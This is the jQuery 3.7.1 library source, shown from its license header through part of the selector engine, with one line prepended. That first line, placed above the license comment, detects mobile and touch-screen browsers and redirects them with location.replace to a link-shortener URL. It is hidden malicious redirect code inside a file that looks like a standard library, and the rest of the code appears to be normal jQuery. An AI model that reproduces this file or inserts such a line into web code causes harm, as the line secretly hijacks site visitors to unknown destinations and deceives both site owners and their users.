1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery JavaScript Library v3.7.1
4 * https://jquery.com/
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license
8 * https://jquery.org/license
9 *
10 * Date: 2023-08-28T13:37Z
11 */
12( function( global, factory ) {
13
14 "use strict";
15
16 if ( typeof module === "object" && typeof module.exports === "object" ) {
17
18 // For CommonJS and CommonJS-like environments where a proper `window`
19 // is present, execute the factory and get jQuery.
20 // For environments that do not have a `window` with a `document`
21 // (such as Node.js), expose a factory as module.exports.
22 // This accentuates the need for the creation of a real `window`.
23 // e.g. var jQuery = require("jquery")(window);
24 // See ticket trac-14549 for more info.
25 module.exports = global.document ?
26 factory( global, true ) :
27 function( w ) {
28 if ( !w.document ) {
29 throw new Error( "jQuery requires a window with a document" );
30 }
31 return factory( w );
32 };
33 } else {
34 factory( global );
35 }
36
37// Pass this if window is not defined yet
38} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
39
40// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1
41// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode
42// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common
43// enough that all such attempts are guarded in a try block.
44"use strict";
45
46var arr = [];
47
48var getProto = Object.getPrototypeOf;
49
50var slice = arr.slice;
51
52var flat = arr.flat ? function( array ) {
53 return arr.flat.call( array );
54} : function( array ) {
55 return arr.concat.apply( [], array );
56};
57
58
59var push = arr.push;
60
61var indexOf = arr.indexOf;
62
63var class2type = {};
64
65var toString = class2type.toString;
66
67var hasOwn = class2type.hasOwnProperty;
68
69var fnToString = hasOwn.toString;
70
71var ObjectFunctionString = fnToString.call( Object );
72
73var support = {};
74
75var isFunction = function isFunction( obj ) {
76
77 // Support: Chrome <=57, Firefox <=52
78 // In some browsers, typeof returns "function" for HTML <object> elements
79 // (i.e., `typeof document.createElement( "object" ) === "function"`).
80 // We don't want to classify *any* DOM node as a function.
81 // Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5
82 // Plus for old WebKit, typeof returns "function" for HTML collections
83 // (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756)
84 return typeof obj === "function" && typeof obj.nodeType !== "number" &&
85 typeof obj.item !== "function";
86 };
87
88
89var isWindow = function isWindow( obj ) {
90 return obj != null && obj === obj.window;
91 };
92
93
94var document = window.document;
95
96
97
98 var preservedScriptAttributes = {
99 type: true,
100 src: true,
101 nonce: true,
102 noModule: true
103 };
104
105 function DOMEval( code, node, doc ) {
106 doc = doc || document;
107
108 var i, val,
109 script = doc.createElement( "script" );
110
111 script.text = code;
112 if ( node ) {
113 for ( i in preservedScriptAttributes ) {
114
115 // Support: Firefox 64+, Edge 18+
116 // Some browsers don't support the "nonce" property on scripts.
117 // On the other hand, just using `getAttribute` is not enough as
118 // the `nonce` attribute is reset to an empty string whenever it
119 // becomes browsing-context connected.
120 // See https://github.com/whatwg/html/issues/2369
121 // See https://html.spec.whatwg.org/#nonce-attributes
122 // The `node.getAttribute` check was added for the sake of
123 // `jQuery.globalEval` so that it can fake a nonce-containing node
124 // via an object.
125 val = node[ i ] || node.getAttribute && node.getAttribute( i );
126 if ( val ) {
127 script.setAttribute( i, val );
128 }
129 }
130 }
131 doc.head.appendChild( script ).parentNode.removeChild( script );
132 }
133
134
135function toType( obj ) {
136 if ( obj == null ) {
137 return obj + "";
138 }
139
140 // Support: Android <=2.3 only (functionish RegExp)
141 return typeof obj === "object" || typeof obj === "function" ?
142 class2type[ toString.call( obj ) ] || "object" :
143 typeof obj;
144}
145/* global Symbol */
146// Defining this global in .eslintrc.json would create a danger of using the global
147// unguarded in another place, it seems safer to define global only for this module
148
149
150
151var version = "3.7.1",
152
153 rhtmlSuffix = /HTML$/i,
154
155 // Define a local copy of jQuery
156 jQuery = function( selector, context ) {
157
158 // The jQuery object is actually just the init constructor 'enhanced'
159 // Need init if jQuery is called (just allow error to be thrown if not included)
160 return new jQuery.fn.init( selector, context );
161 };
162
163jQuery.fn = jQuery.prototype = {
164
165 // The current version of jQuery being used
166 jquery: version,
167
168 constructor: jQuery,
169
170 // The default length of a jQuery object is 0
171 length: 0,
172
173 toArray: function() {
174 return slice.call( this );
175 },
176
177 // Get the Nth element in the matched element set OR
178 // Get the whole matched element set as a clean array
179 get: function( num ) {
180
181 // Return all the elements in a clean array
182 if ( num == null ) {
183 return slice.call( this );
184 }
185
186 // Return just the one element from the set
187 return num < 0 ? this[ num + this.length ] : this[ num ];
188 },
189
190 // Take an array of elements and push it onto the stack
191 // (returning the new matched element set)
192 pushStack: function( elems ) {
193
194 // Build a new jQuery matched element set
195 var ret = jQuery.merge( this.constructor(), elems );
196
197 // Add the old object onto the stack (as a reference)
198 ret.prevObject = this;
199
200 // Return the newly-formed element set
201 return ret;
202 },
203
204 // Execute a callback for every element in the matched set.
205 each: function( callback ) {
206 return jQuery.each( this, callback );
207 },
208
209 map: function( callback ) {
210 return this.pushStack( jQuery.map( this, function( elem, i ) {
211 return callback.call( elem, i, elem );
212 } ) );
213 },
214
215 slice: function() {
216 return this.pushStack( slice.apply( this, arguments ) );
217 },
218
219 first: function() {
220 return this.eq( 0 );
221 },
222
223 last: function() {
224 return this.eq( -1 );
225 },
226
227 even: function() {
228 return this.pushStack( jQuery.grep( this, function( _elem, i ) {
229 return ( i + 1 ) % 2;
230 } ) );
231 },
232
233 odd: function() {
234 return this.pushStack( jQuery.grep( this, function( _elem, i ) {
235 return i % 2;
236 } ) );
237 },
238
239 eq: function( i ) {
240 var len = this.length,
241 j = +i + ( i < 0 ? len : 0 );
242 return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
243 },
244
245 end: function() {
246 return this.prevObject || this.constructor();
247 },
248
249 // For internal use only.
250 // Behaves like an Array's method, not like a jQuery method.
251 push: push,
252 sort: arr.sort,
253 splice: arr.splice
254};
255
256jQuery.extend = jQuery.fn.extend = function() {
257 var options, name, src, copy, copyIsArray, clone,
258 target = arguments[ 0 ] || {},
259 i = 1,
260 length = arguments.length,
261 deep = false;
262
263 // Handle a deep copy situation
264 if ( typeof target === "boolean" ) {
265 deep = target;
266
267 // Skip the boolean and the target
268 target = arguments[ i ] || {};
269 i++;
270 }
271
272 // Handle case when target is a string or something (possible in deep copy)
273 if ( typeof target !== "object" && !isFunction( target ) ) {
274 target = {};
275 }
276
277 // Extend jQuery itself if only one argument is passed
278 if ( i === length ) {
279 target = this;
280 i--;
281 }
282
283 for ( ; i < length; i++ ) {
284
285 // Only deal with non-null/undefined values
286 if ( ( options = arguments[ i ] ) != null ) {
287
288 // Extend the base object
289 for ( name in options ) {
290 copy = options[ name ];
291
292 // Prevent Object.prototype pollution
293 // Prevent never-ending loop
294 if ( name === "__proto__" || target === copy ) {
295 continue;
296 }
297
298 // Recurse if we're merging plain objects or arrays
299 if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
300 ( copyIsArray = Array.isArray( copy ) ) ) ) {
301 src = target[ name ];
302
303 // Ensure proper type for the source value
304 if ( copyIsArray && !Array.isArray( src ) ) {
305 clone = [];
306 } else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {
307 clone = {};
308 } else {
309 clone = src;
310 }
311 copyIsArray = false;
312
313 // Never move original objects, clone them
314 target[ name ] = jQuery.extend( deep, clone, copy );
315
316 // Don't bring in undefined values
317 } else if ( copy !== undefined ) {
318 target[ name ] = copy;
319 }
320 }
321 }
322 }
323
324 // Return the modified object
325 return target;
326};
327
328jQuery.extend( {
329
330 // Unique for each copy of jQuery on the page
331 expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
332
333 // Assume jQuery is ready without the ready module
334 isReady: true,
335
336 error: function( msg ) {
337 throw new Error( msg );
338 },
339
340 noop: function() {},
341
342 isPlainObject: function( obj ) {
343 var proto, Ctor;
344
345 // Detect obvious negatives
346 // Use toString instead of jQuery.type to catch host objects
347 if ( !obj || toString.call( obj ) !== "[object Object]" ) {
348 return false;
349 }
350
351 proto = getProto( obj );
352
353 // Objects with no prototype (e.g., `Object.create( null )`) are plain
354 if ( !proto ) {
355 return true;
356 }
357
358 // Objects with prototype are plain iff they were constructed by a global Object function
359 Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
360 return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
361 },
362
363 isEmptyObject: function( obj ) {
364 var name;
365
366 for ( name in obj ) {
367 return false;
368 }
369 return true;
370 },
371
372 // Evaluates a script in a provided context; falls back to the global one
373 // if not specified.
374 globalEval: function( code, options, doc ) {
375 DOMEval( code, { nonce: options && options.nonce }, doc );
376 },
377
378 each: function( obj, callback ) {
379 var length, i = 0;
380
381 if ( isArrayLike( obj ) ) {
382 length = obj.length;
383 for ( ; i < length; i++ ) {
384 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
385 break;
386 }
387 }
388 } else {
389 for ( i in obj ) {
390 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
391 break;
392 }
393 }
394 }
395
396 return obj;
397 },
398
399
400 // Retrieve the text value of an array of DOM nodes
401 text: function( elem ) {
402 var node,
403 ret = "",
404 i = 0,
405 nodeType = elem.nodeType;
406
407 if ( !nodeType ) {
408
409 // If no nodeType, this is expected to be an array
410 while ( ( node = elem[ i++ ] ) ) {
411
412 // Do not traverse comment nodes
413 ret += jQuery.text( node );
414 }
415 }
416 if ( nodeType === 1 || nodeType === 11 ) {
417 return elem.textContent;
418 }
419 if ( nodeType === 9 ) {
420 return elem.documentElement.textContent;
421 }
422 if ( nodeType === 3 || nodeType === 4 ) {
423 return elem.nodeValue;
424 }
425
426 // Do not include comment or processing instruction nodes
427
428 return ret;
429 },
430
431 // results is for internal usage only
432 makeArray: function( arr, results ) {
433 var ret = results || [];
434
435 if ( arr != null ) {
436 if ( isArrayLike( Object( arr ) ) ) {
437 jQuery.merge( ret,
438 typeof arr === "string" ?
439 [ arr ] : arr
440 );
441 } else {
442 push.call( ret, arr );
443 }
444 }
445
446 return ret;
447 },
448
449 inArray: function( elem, arr, i ) {
450 return arr == null ? -1 : indexOf.call( arr, elem, i );
451 },
452
453 isXMLDoc: function( elem ) {
454 var namespace = elem && elem.namespaceURI,
455 docElem = elem && ( elem.ownerDocument || elem ).documentElement;
456
457 // Assume HTML when documentElement doesn't yet exist, such as inside
458 // document fragments.
459 return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );
460 },
461
462 // Support: Android <=4.0 only, PhantomJS 1 only
463 // push.apply(_, arraylike) throws on ancient WebKit
464 merge: function( first, second ) {
465 var len = +second.length,
466 j = 0,
467 i = first.length;
468
469 for ( ; j < len; j++ ) {
470 first[ i++ ] = second[ j ];
471 }
472
473 first.length = i;
474
475 return first;
476 },
477
478 grep: function( elems, callback, invert ) {
479 var callbackInverse,
480 matches = [],
481 i = 0,
482 length = elems.length,
483 callbackExpect = !invert;
484
485 // Go through the array, only saving the items
486 // that pass the validator function
487 for ( ; i < length; i++ ) {
488 callbackInverse = !callback( elems[ i ], i );
489 if ( callbackInverse !== callbackExpect ) {
490 matches.push( elems[ i ] );
491 }
492 }
493
494 return matches;
495 },
496
497 // arg is for internal usage only
498 map: function( elems, callback, arg ) {
499 var length, value,
500 i = 0,
501 ret = [];
502
503 // Go through the array, translating each of the items to their new values
504 if ( isArrayLike( elems ) ) {
505 length = elems.length;
506 for ( ; i < length; i++ ) {
507 value = callback( elems[ i ], i, arg );
508
509 if ( value != null ) {
510 ret.push( value );
511 }
512 }
513
514 // Go through every key on the object,
515 } else {
516 for ( i in elems ) {
517 value = callback( elems[ i ], i, arg );
518
519 if ( value != null ) {
520 ret.push( value );
521 }
522 }
523 }
524
525 // Flatten any nested arrays
526 return flat( ret );
527 },
528
529 // A global GUID counter for objects
530 guid: 1,
531
532 // jQuery.support is not used in Core but other projects attach their
533 // properties to it so it needs to exist.
534 support: support
535} );
536
537if ( typeof Symbol === "function" ) {
538 jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
539}
540
541// Populate the class2type map
542jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
543 function( _i, name ) {
544 class2type[ "[object " + name + "]" ] = name.toLowerCase();
545 } );
546
547function isArrayLike( obj ) {
548
549 // Support: real iOS 8.2 only (not reproducible in simulator)
550 // `in` check used to prevent JIT error (gh-2145)
551 // hasOwn isn't used here due to false negatives
552 // regarding Nodelist length in IE
553 var length = !!obj && "length" in obj && obj.length,
554 type = toType( obj );
555
556 if ( isFunction( obj ) || isWindow( obj ) ) {
557 return false;
558 }
559
560 return type === "array" || length === 0 ||
561 typeof length === "number" && length > 0 && ( length - 1 ) in obj;
562}
563
564
565function nodeName( elem, name ) {
566
567 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
568
569}
570var pop = arr.pop;
571
572
573var sort = arr.sort;
574
575
576var splice = arr.splice;
577
578
579var whitespace = "[\\x20\\t\\r\\n\\f]";
580
581
582var rtrimCSS = new RegExp(
583 "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
584 "g"
585);
586
587
588
589
590// Note: an element does not contain itself
591jQuery.contains = function( a, b ) {
592 var bup = b && b.parentNode;
593
594 return a === bup || !!( bup && bup.nodeType === 1 && (
595
596 // Support: IE 9 - 11+
597 // IE doesn't have `contains` on SVG.
598 a.contains ?
599 a.contains( bup ) :
600 a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
601 ) );
602};
603
604
605
606
607// CSS string/identifier serialization
608// https://drafts.csswg.org/cssom/#common-serializing-idioms
609var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
610
611function fcssescape( ch, asCodePoint ) {
612 if ( asCodePoint ) {
613
614 // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
615 if ( ch === "\0" ) {
616 return "\uFFFD";
617 }
618
619 // Control characters and (dependent upon position) numbers get escaped as code points
620 return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
621 }
622
623 // Other potentially-special ASCII characters get backslash-escaped
624 return "\\" + ch;
625}
626
627jQuery.escapeSelector = function( sel ) {
628 return ( sel + "" ).replace( rcssescape, fcssescape );
629};
630
631
632
633
634var preferredDoc = document,
635 pushNative = push;
636
637( function() {
638
639var i,
640 Expr,
641 outermostContext,
642 sortInput,
643 hasDuplicate,
644 push = pushNative,
645
646 // Local document vars
647 document,
648 documentElement,
649 documentIsHTML,
650 rbuggyQSA,
651 matches,
652
653 // Instance-specific data
654 expando = jQuery.expando,
655 dirruns = 0,
656 done = 0,
657 classCache = createCache(),
658 tokenCache = createCache(),
659 compilerCache = createCache(),
660 nonnativeSelectorCache = createCache(),
661 sortOrder = function( a, b ) {
662 if ( a === b ) {
663 hasDuplicate = true;
664 }
665 return 0;
666 },
667
668 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|" +
669 "loop|multiple|open|readonly|required|scoped",
670
671 // Regular expressions
672
673 // https://www.w3.org/TR/css-syntax-3/#ident-token-diagram
674 identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace +
675 "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",
676
677 // Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors
678 attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +
679
680 // Operator (capture 2)
681 "*([*^$|!~]?=)" + whitespace +
682
683 // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
684 "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" +
685 whitespace + "*\\]",
686
687 pseudos = ":(" + identifier + ")(?:\\((" +
688
689 // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
690 // 1. quoted (capture 3; capture 4 or capture 5)
691 "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
692
693 // 2. simple (capture 6)
694 "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
695
696 // 3. anything else (capture 2)
697 ".*" +
698 ")\\)|)",
699
700 // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
701 rwhitespace = new RegExp( whitespace + "+", "g" ),
702
703 rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
704 rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" +
705 whitespace + "*" ),
706 rdescend = new RegExp( whitespace + "|>" ),
707
708 rpseudo = new RegExp( pseudos ),
709 ridentifier = new RegExp( "^" + identifier + "$" ),
710
711 matchExpr = {
712 ID: new RegExp( "^#(" + identifier + ")" ),
713 CLASS: new RegExp( "^\\.(" + identifier + ")" ),
714 TAG: new RegExp( "^(" + identifier + "|[*])" ),
715 ATTR: new RegExp( "^" + attributes ),
716 PSEUDO: new RegExp( "^" + pseudos ),
717 CHILD: new RegExp(
718 "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" +
719 whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" +
720 whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
721 bool: new RegExp( "^(?:" + booleans + ")$", "i" ),
722
723 // For use in libraries implementing .is()
724 // We use this for POS matching in `select`
725 needsContext: new RegExp( "^" + whitespace +
726 "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
727 "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
728 },
729
730 rinputs = /^(?:input|select|textarea|button)$/i,
731 rheader = /^h\d$/i,
732
733 // Easily-parseable/retrievable ID or TAG or CLASS selectors
734 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
735
736 rsibling = /[+~]/,
737
738 // CSS escapes
739 // https://www.w3.org/TR/CSS21/syndata.html#escaped-characters
740 runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace +
741 "?|\\\\([^\\r\\n\\f])", "g" ),
742 funescape = function( escape, nonHex ) {
743 var high = "0x" + escape.slice( 1 ) - 0x10000;
744
745 if ( nonHex ) {
746
747 // Strip the backslash prefix from a non-hex escape sequence
748 return nonHex;
749 }
750
751 // Replace a hexadecimal escape sequence with the encoded Unicode code point
752 // Support: IE <=11+
753 // For values outside the Basic Multilingual Plane (BMP), manually construct a
754 // surrogate pair
755 return high < 0 ?
756 String.fromCharCode( high + 0x10000 ) :
757 String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
758 },
759
760 // Used for iframes; see `setDocument`.
761 // Support: IE 9 - 11+, Edge 12 - 18+
762 // Removing the function wrapper causes a "Permission Denied"
763 // error in IE/Edge.
764 unloadHandler = function() {
765 setDocument();
766 },
767
768 inDisabledFieldset = addCombinator(
769 function( elem ) {
770 return elem.disabled === true && nodeName( elem, "fieldset" );
771 },
772 { dir: "parentNode", next: "legend" }
773 );
774
775// Support: IE <=9 only
776// Accessing document.activeElement can throw unexpectedly
777// https://bugs.jquery.com/ticket/13393
778function safeActiveElement() {
779 try {
780 return document.activeElement;
781 } catch ( err ) { }
782}
783
784// Optimize for push.apply( _, NodeList )
785try {
786 push.apply(
787 ( arr = slice.call( preferredDoc.childNodes ) ),
788 preferredDoc.childNodes
789 );
790
791 // Support: Android <=4.0
792 // Detect silently failing push.apply
793 // eslint-disable-next-line no-unused-expressions
794 arr[ preferredDoc.childNodes.length ].nodeType;
795} catch ( e ) {
796 push = {
797 apply: function( target, els ) {
798 pushNative.apply( target, slice.call( els ) );
799 },
800 call: function( target ) {
801 pushNative.apply( target, slice.call( arguments, 1 ) );
802 }
803 };
804}
805
806function find( selector, context, results, seed ) {
807 var m, i, elem, nid, match, groups, newSelector,
808 newContext = context && context.ownerDocument,
809
810 // nodeType defaults to 9, since context defaults to document
811 nodeType = context ? context.nodeType : 9;
812
813 results = results || [];
814
815 // Return early from calls with invalid selector or context
816 if ( typeof selector !== "string" || !selector ||
817 nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {
818
819 return results;
820 }
821
822 // Try to shortcut find operations (as opposed to filters) in HTML documents
823 if ( !seed ) {
824 setDocument( context );
825 context = context || document;
826
827 if ( documentIsHTML ) {
828
829 // If the selector is sufficiently simple, try using a "get*By*" DOM method
830 // (excepting DocumentFragment context, where the methods don't exist)
831 if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {
832
833 // ID selector
834 if ( ( m = match[ 1 ] ) ) {
835
836 // Document context
837 if ( nodeType === 9 ) {
838 if ( ( elem = context.getElementById( m ) ) ) {
839
840 // Support: IE 9 only
841 // getElementById can match elements by name instead of ID
842 if ( elem.id === m ) {
843 push.call( results, elem );
844 return results;
845 }
846 } else {
847 return results;
848 }
849
850 // Element context
851 } else {
852
853 // Support: IE 9 only
854 // getElementById can match elements by name instead of ID
855 if ( newContext && ( elem = newContext.getElementById( m ) ) &&
856 find.contains( context, elem ) &&
857 elem.id === m ) {
858
859 push.call( results, elem );
860 return results;
861 }
862 }
863
864 // Type selector
865 } else if ( match[ 2 ] ) {
866 push.apply( results, context.getElementsByTagName( selector ) );
867 return results;
868
869 // Class selector
870 } else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) {
871 push.apply( results, context.getElementsByClassName( m ) );
872 return results;
873 }
874 }
875
876 // Take advantage of querySelectorAll
877 if ( !nonnativeSelectorCache[ selector + " " ] &&
878 ( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) {
879
880 newSelector = selector;
881 newContext = context;
882
883 // qSA considers elements outside a scoping root when evaluating child or
884 // descendant combinators, which is not what we want.
885 // In such cases, we work around the behavior by prefixing every selector in the
886 // list with an ID selector referencing the scope context.
887 // The technique has to be used as well when a leading combinator is used
888 // as such selectors are not recognized by querySelectorAll.
889 // Thanks to Andrew Dupont for this technique.
890 if ( nodeType === 1 &&
891 ( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) {
892
893 // Expand context for sibling selectors
894 newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
895 context;
896
897 // We can use :scope instead of the ID hack if the browser
898 // supports it & if we're not changing the context.
899 // Support: IE 11+, Edge 17 - 18+
900 // IE/Edge sometimes throw a "Permission denied" error when
901 // strict-comparing two documents; shallow comparisons work.
902 // eslint-disable-next-line eqeqeq
903 if ( newContext != context || !support.scope ) {
904
905 // Capture the context ID, setting it first if necessary
906 if ( ( nid = context.getAttribute( "id" ) ) ) {
907 nid = jQuery.escapeSelector( nid );
908 } else {
909 context.setAttribute( "id", ( nid = expando ) );
910 }
911 }
912
913 // Prefix every selector in the list
914 groups = tokenize( selector );
915 i = groups.length;
916 while ( i-- ) {
917 groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " +
918 toSelector( groups[ i ] );
919 }
920 newSelector = groups.join( "," );
921 }
922
923 try {
924 push.apply( results,
925 newContext.querySelectorAll( newSelector )
926 );
927 return results;
928 } catch ( qsaError ) {
929 nonnativeSelectorCache( selector, true );
930 } finally {
931 if ( nid === expando ) {
932 context.removeAttribute( "id" );
933 }
934 }
935 }
936 }
937 }
938
939 // All others
940 return select( selector.replace( rtrimCSS, "$1" ), context, results, seed );
941}
942
943/**
944 * Create key-value caches of limited size
945 * @returns {function(string, object)} Returns the Object data after storing it on itself with
946 * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
947 * deleting the oldest entry
948 */
949function createCache() {
950 var keys = [];
951
952 function cache( key, value ) {
953
954 // Use (key + " ") to avoid collision with native prototype properties
955 // (see https://github.com/jquery/sizzle/issues/157)
956 if ( keys.push( key + " " ) > Expr.cacheLength ) {
957
958 // Only keep the most recent entries
959 delete cache[ keys.shift() ];
960 }
961 return ( cache[ key + " " ] = value );
962 }
963 return cache;
964}
965
966/**
967 * Mark a function for special use by jQuery selector module
968 * @param {Function} fn The function to mark
969 */
970function markFunction( fn ) {
971 fn[ expando ] = true;
972 return fn;
973}
974
975/**
976 * Support testing using an element
977 * @param {Function} fn Passed the created element and returns a boolean result
978 */
979function assert( fn ) {
980 var el = document.createElement( "fieldset" );
981
982 try {
983 return !!fn( el );
984 } catch ( e ) {
985 return false;
986 } finally {
987
988 // Remove from its parent by default
989 if ( el.parentNode ) {
990 el.parentNode.removeChild( el );
991 }
992
993 // release memory in IE
994 el = null;
995 }
996}
997
998/**
999 * Returns a function to use in pseudos for input types
1000 * @param {String} type
1001 */
1002function createInputPseudo( type ) {
1003 return function( elem ) {
1004 return nodeName( elem, "input" ) && elem.type === type;
1005 };
1006}
1007
1008/**
1009 * Returns a function to use in pseudos for buttons
1010 * @param {String} type
1011 */
1012function createButtonPseudo( type ) {
1013 return function( elem ) {
1014 return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) &&
1015 elem.type === type;
1016 };
1017}
1018
1019/**
1020 * Returns a function to use in pseudos for :enabled/:disabled
1021 * @param {Boolean} disabled true for :disabled; false for :enabled
1022 */
1023function createDisabledPseudo( disabled ) {
1024
1025 // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable
1026 return function( elem ) {
1027
1028 // Only certain elements can match :enabled or :disabled
1029 // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
1030 // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
1031 if ( "form" in elem ) {
1032
1033 // Check for inherited disabledness on relevant non-disabled elements:
1034 // * listed form-associated elements in a disabled fieldset
1035 // https://html.spec.whatwg.org/multipage/forms.html#category-listed
1036 // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
1037 // * option elements in a disabled optgroup
1038 // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
1039 // All such elements have a "form" property.
1040 if ( elem.parentNode && elem.disabled === false ) {
1041
1042 // Option elements defer to a parent optgroup if present
1043 if ( "label" in elem ) {
1044 if ( "label" in elem.parentNode ) {
1045 return elem.parentNode.disabled === disabled;
1046 } else {
1047 return elem.disabled === disabled;
1048 }
1049 }
1050
1051 // Support: IE 6 - 11+
1052 // Use the isDisabled shortcut property to check for disabled fieldset ancestors
1053 return elem.isDisabled === disabled ||
1054
1055 // Where there is no isDisabled, check manually
1056 elem.isDisabled !== !disabled &&
1057 inDisabledFieldset( elem ) === disabled;
1058 }
1059
1060 return elem.disabled === disabled;
1061
1062 // Try to winnow out elements that can't be disabled before trusting the disabled property.
1063 // Some victims get caught in our net (label, legend, menu, track), but it shouldn't
1064 // even exist on them, let alone have a boolean value.
1065 } else if ( "label" in elem ) {
1066 return elem.disabled === disabled;
1067 }
1068
1069 // Remaining elements are neither :enabled nor :disabled
1070 return false;
1071 };
1072}
1073
1074/**
1075 * Returns a function to use in pseudos for positionals
1076 * @param {Function} fn
1077 */
1078function createPositionalPseudo( fn ) {
1079 return markFunction( function( argument ) {
1080 argument = +argument;
1081 return markFunction( function( seed, matches ) {
1082 var j,
1083 matchIndexes = fn( [], seed.length, argument ),
1084 i = matchIndexes.length;
1085
1086 // Match elements found at the specified indexes
1087 while ( i-- ) {
1088 if ( seed[ ( j = matchIndexes[ i ] ) ] ) {
1089 seed[ j ] = !( matches[ j ] = seed[ j ] );
1090 }
1091 }
1092 } );
1093 } );
1094}
1095
1096/**
1097 * Checks a node for validity as a jQuery selector context
1098 * @param {Element|Object=} context
1099 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
1100 */
1101function testContext( context ) {
1102 return context && typeof context.getElementsByTagName !== "undefined" && context;
1103}
1104
1105/**
1106 * Sets document-related variables once based on the current document
1107 * @param {Element|Object} [node] An element or document object to use to set the document
1108 * @returns {Object} Returns the current document
1109 */
1110function setDocument( node ) {
1111 var subWindow,
1112 doc = node ? node.ownerDocument || node : preferredDoc;
1113
1114 // Return early if doc is invalid or already selected
1115 // Support: IE 11+, Edge 17 - 18+
1116 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1117 // two documents; shallow comparisons work.
1118 // eslint-disable-next-line eqeqeq
1119 if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) {
1120 return document;
1121 }
1122
1123 // Update global variables
1124 document = doc;
1125 documentElement = document.documentElement;
1126 documentIsHTML = !jQuery.isXMLDoc( document );
1127
1128 // Support: iOS 7 only, IE 9 - 11+
1129 // Older browsers didn't support unprefixed `matches`.
1130 matches = documentElement.matches ||
1131 documentElement.webkitMatchesSelector ||
1132 documentElement.msMatchesSelector;
1133
1134 // Support: IE 9 - 11+, Edge 12 - 18+
1135 // Accessing iframe documents after unload throws "permission denied" errors
1136 // (see trac-13936).
1137 // Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`,
1138 // all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well.
1139 if ( documentElement.msMatchesSelector &&
1140
1141 // Support: IE 11+, Edge 17 - 18+
1142 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1143 // two documents; shallow comparisons work.
1144 // eslint-disable-next-line eqeqeq
1145 preferredDoc != document &&
1146 ( subWindow = document.defaultView ) && subWindow.top !== subWindow ) {
1147
1148 // Support: IE 9 - 11+, Edge 12 - 18+
1149 subWindow.addEventListener( "unload", unloadHandler );
1150 }
1151
1152 // Support: IE <10
1153 // Check if getElementById returns elements by name
1154 // The broken getElementById methods don't pick up programmatically-set names,
